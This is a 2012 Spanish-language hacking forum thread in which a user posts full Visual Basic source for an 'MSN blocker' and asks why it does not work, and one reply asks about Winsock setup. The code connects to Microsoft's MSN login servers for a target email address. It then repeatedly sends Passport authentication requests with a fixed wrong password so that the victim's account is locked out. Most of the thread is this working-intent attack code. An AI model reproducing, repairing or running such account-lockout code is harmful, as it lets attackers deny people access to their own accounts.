elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Top 20 herramientas Hacking más populares de 2020


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Bloqueador de Msn
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Bloqueador de Msn  (Leído 1,142 veces)
fluxfluxor

Desconectado Desconectado

Mensajes: 3



Ver Perfil
Bloqueador de Msn
« en: 29 Julio 2012, 19:47 pm »

Hola !!! alguno puede decirme porque no esta funcionando ???
login.live.com sin captcha ... con puerto abierto 443... por mas q pruebe con otros no logro que bloquee una cuenta...
Favor de explicarme en que he fallado .

Código:
Private Declare Function InitCommonControls Lib "comctl32.dll" () As Long
Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" ( _
                 ByVal hHttpSession As Long, _
                 ByVal sVerb As String, _
                 ByVal sObjectName As String, _
                 ByVal sVersion As String, _
                 ByVal sReferer As String, _
                 ByVal something As Long, _
                 ByVal lFlags As Long, _
                 ByVal lContext As Long) As Long
Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" ( _
                 ByVal hHttpRequest As Long, _
                 ByVal sHeaders As String, _
                 ByVal lHeadersLength As Long, _
                 ByVal sOptional As String, _
                 ByVal lOptionalLength As Long) As Long
Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" ( _
                 ByVal hHttpRequest As Long, _
                 ByVal lInfoLevel As Long, _
                 ByRef sBuffer As Any, _
                 ByRef lBufferLength As Long, _
                 ByRef lIndex As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet.dll" ( _
                    ByVal hInet As Long) As Integer
Dim res As String
Dim num As Integer

Private Sub Command1_Click()
Label1.Caption = "Conectando al servidor..."
WS.Close
WS.RemoteHost = "login.live.com"
WS.RemotePort = 443
WS.Connect
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
Label1.Caption = "Cuenta desbloqueada"
End Sub

Private Sub Command3_Click()
MsgBox "Programado por FluxFluXor" & vbNewLine & "27/07/2012", vbInformation + vbOKOnly, "MsnBlock"
End Sub

Private Sub Form_Initialize()
InitCommonControls
End Sub

Private Sub Image1_Click()

End Sub

Private Sub Skinner1_HelpButtonClick(FormName As String)
MsgBox "Creado por FluxFluXor"
End Sub

Private Sub Timer1_Timer()
Timer1.Enabled = False
If num < 10 Then
num = num + 1
Label1.Caption = "Bloqueando cuenta [" & num * 10 & "%]"
ElseIf num = 10 Then
num = num + 1
Label1.Caption = "Eneas v1.0.1... Cuenta bloqueada"
End If
Dim tmp2() As String, tmp3 As String, tmp4 As String, hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String
hopen = InternetOpen("MSMSGS", 1, 0, 0, 0)
hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0)
hRequest = HttpOpenRequest(hConnection, "GET", "/login.srf", 0, vbNullString, 0, &H84E8F000, 0)
tmp2 = Split(Text1.Text, "@")
tmp4 = tmp2(0) & "%40" & tmp2(1)
tmp3 = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp4 & ",pwd=crapware, " & res
lgRep = HttpSendRequest(hRequest, tmp3, -1, 0, 0)
stStatusCode = Space$(1000)
HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0
InternetCloseHandle hopen
InternetCloseHandle hConnection
InternetCloseHandle hRequest
Timer1.Enabled = True
End Sub

Private Sub WS_Connect()
WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10)
Label1.Caption = "Conectado"
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos
'MsgBox datos
Select Case Left(datos, 3)
Case "VER"
WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & Chr(13) & Chr(10)
Case "CVR"
WS.SendData "USR 3 TWN I " & Text1.Text & Chr(13) & Chr(10)
Case "XFR"
Dim tmp() As String
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect
Case "USR"
Dim tmp2() As String
tmp2 = Split(datos, " ")
res = tmp2(4)
num = 0
Timer1.Enabled = True
End Select
End Sub


« Última modificación: 29 Julio 2012, 20:18 pm por raul338 » En línea

Belleza no es una carrera magistral
ni una mente eficiente al servicio del capital
belleza es voluntad de morir por tus ideas
Eso es belleza una mente en claridad
sufriendo por el hecho de estar viendo más allá,
no venderse por la muerte del triunfo personal
Belleza es una decisión absolutamente consciente
Elemental Code


Desconectado Desconectado

Mensajes: 622


Im beyond the system


Ver Perfil
Re: Bloqueador de Msn
« Respuesta #1 en: 31 Julio 2012, 16:01 pm »

Solo para hacer una pregunta medio tontita, Tenes bien configurados los winsock? :P


En línea

I CODE FOR $$$
Programo por $$$
Hago tareas, trabajos para la facultad, lo que sea en VB6.0

Mis programas
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
bloqueador de gsm
Electrónica
mitko007 2 1,246 Último mensaje 23 Marzo 2005, 23:30 pm
por mitko007
Bloqueador Hotmail - SinMSN v1
Chats; IRC y Messengers
Hacktric 0 2,091 Último mensaje 30 Junio 2010, 02:49 am
por Hacktric
HTC Desire 200: con bloqueador automático de publicidad
Noticias
wolfbcn 0 538 Último mensaje 18 Junio 2013, 18:17 pm
por wolfbcn
AdMuncher, así es el bloqueador de anuncios que quiere hacerse con la corona ...
Noticias
wolfbcn 0 806 Último mensaje 21 Octubre 2014, 17:51 pm
por wolfbcn
Algun bloqueador de hotmail « 1 2 »
Software
estylo 15 241 Último mensaje 2 Septiembre 2015, 17:58 pm
por someRandomCode
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines